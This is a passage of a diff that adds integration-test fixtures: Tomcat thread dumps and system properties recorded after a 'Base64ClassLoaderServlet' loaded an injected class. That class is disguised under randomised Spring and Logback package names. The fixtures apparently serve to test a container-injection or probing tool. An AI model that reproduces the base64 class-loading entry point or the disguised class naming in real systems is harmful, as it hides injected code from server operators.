java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-3" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-1" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-10" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-Poller" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:763) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.6/sun.nio.ch.NioSocketImpl.accept(Unknown Source) + at java.base@21.0.6/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@21.0.6/java.net.ServerSocket.platformImplAccept(Unknown Source) + at java.base@21.0.6/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@21.0.6/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@21.0.6/java.net.ServerSocket.accept(Unknown Source) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:556) + at org.apache.catalina.startup.Catalina.await(Catalina.java:849) + at org.apache.catalina.startup.Catalina.start(Catalina.java:797) + at java.base@21.0.6/java.lang.invoke.LambdaForm$DMH/0x000000b801101400.invokeVirtual(LambdaForm$DMH) + at java.base@21.0.6/java.lang.invoke.LambdaForm$MH/0x000000b801101c00.invoke(LambdaForm$MH) + at java.base@21.0.6/java.lang.invoke.Invokers$Holder.invokeExact_MT(Invokers$Holder) + at java.base@21.0.6/jdk.internal.reflect.DirectMethodHandleAccessor.invokeImpl(Unknown Source) + at java.base@21.0.6/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(Unknown Source) + at java.base@21.0.6/java.lang.reflect.Method.invoke(Unknown Source) + at app//org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:342) + at app//org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:473) + +"http-nio-8080-exec-4" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c033de0 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + +"FileHandlerLogFilesCleaner-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@117da58f + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.6/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@21.0.6/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.6/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +ch.qos.logback.RZKMg.ErrorHandler +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/Tomcat5ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat5ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a8475b4a --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat5ContainerTestBasicInfo.txt @@ -0,0 +1,399 @@ +# Generated At 2025-08-10 15:00:47 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +java.vm.version: 20.45-b01 +shared.loader: ${catalina.base}/shared/classes,${catalina.base}/shared/lib/*.jar +java.vm.vendor: Sun Microsystems Inc. +java.vendor.url: http://java.sun.com/ +path.separator: : +tomcat.util.buf.StringCache.byte.enabled: true +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +user.country: US +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/tomcat +java.runtime.version: 1.6.0_45-b06 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/tomcat/common/endorsed +os.arch: amd64 +java.io.tmpdir: /usr/local/tomcat/temp +line.separator: + +java.vm.specification.vendor: Sun Microsystems Inc. +java.naming.factory.url.pkgs: org.apache.naming +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +os.name: Linux +sun.jnu.encoding: ANSI_X3.4-1968 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +catalina.useNaming: true +user.timezone: UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.6 +catalina.home: /usr/local/tomcat +java.class.path: /usr/local/tomcat/bin/bootstrap.jar +user.name: root +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper. +java.vm.specification.version: 1.0 +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.home: /opt/java/jdk1.6.0_45/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Sun Microsystems Inc. +java.vm.info: mixed mode +java.version: 1.6.0_45 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +server.loader: ${catalina.home}/server/classes,${catalina.home}/server/lib/*.jar +java.vendor: Sun Microsystems Inc. +catalina.base: /usr/local/tomcat +file.separator: / +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +common.loader: ${catalina.home}/common/classes,${catalina.home}/common/i18n/*.jar,${catalina.home}/common/endorsed/*.jar,${catalina.home}/common/lib/*.jar +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper.,sun.beans. +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http-8080-Processor3" #12 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@3dc286e2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor3" #38 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@2e257f1b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor17" #26 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@1fbbdd48 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor6" #15 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@66bcb23e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor10" #19 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@6e5a3923 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor22" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:773) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:399) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:835) + at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:674) + at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:541) + at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Monitor" #35 [TIMED_WAITING] on org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable@655d616e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable.run(ThreadPool.java:564) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor11" #20 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@55a7b0bf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor16" #25 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@7444f787 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5bd6fbb3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"http-8080-Processor15" #24 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@7f26d3df + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:379) + at org.apache.catalina.startup.Catalina.await(Catalina.java:616) + at org.apache.catalina.startup.Catalina.start(Catalina.java:576) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) + at java.lang.reflect.Method.invoke(Method.java:597) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:295) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:433) + +"http-8080-Processor19" #28 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@4e2016b0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"TP-Monitor" #40 daemon [TIMED_WAITING] on org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable@1cb1a4e2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable.run(ThreadPool.java:564) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor4" #13 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@52c00025 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor8" #17 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@3b49a794 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@609903f4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"http-8080-Processor13" #22 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@5dd2b9b7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor2" #37 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@359ecd80 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #9 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1548) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor20" #29 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@4cc5aa00 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor12" #21 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@451c0d60 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor1" #36 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@34b23d12 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor18" #27 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@21c783c5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor7" #16 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@319c0bd6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor4" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.jk.common.ChannelSocket.accept(ChannelSocket.java:312) + at org.apache.jk.common.ChannelSocket.acceptConnections(ChannelSocket.java:667) + at org.apache.jk.common.ChannelSocket$SocketAcceptor.runIt(ChannelSocket.java:878) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor9" #18 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@7bcd280b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor25" #34 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.springframework.GSyah.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:269) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:172) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:117) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:108) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:174) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:881) + at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:674) + at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:541) + at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-8080-Processor2" #11 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@5a0029ac + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor24" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:773) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:399) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:835) + at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:674) + at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:541) + at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor14" #23 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@40b0095d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor21" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.PoolTcpEndpoint.acceptSocket(PoolTcpEndpoint.java:421) + at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:71) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor23" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at 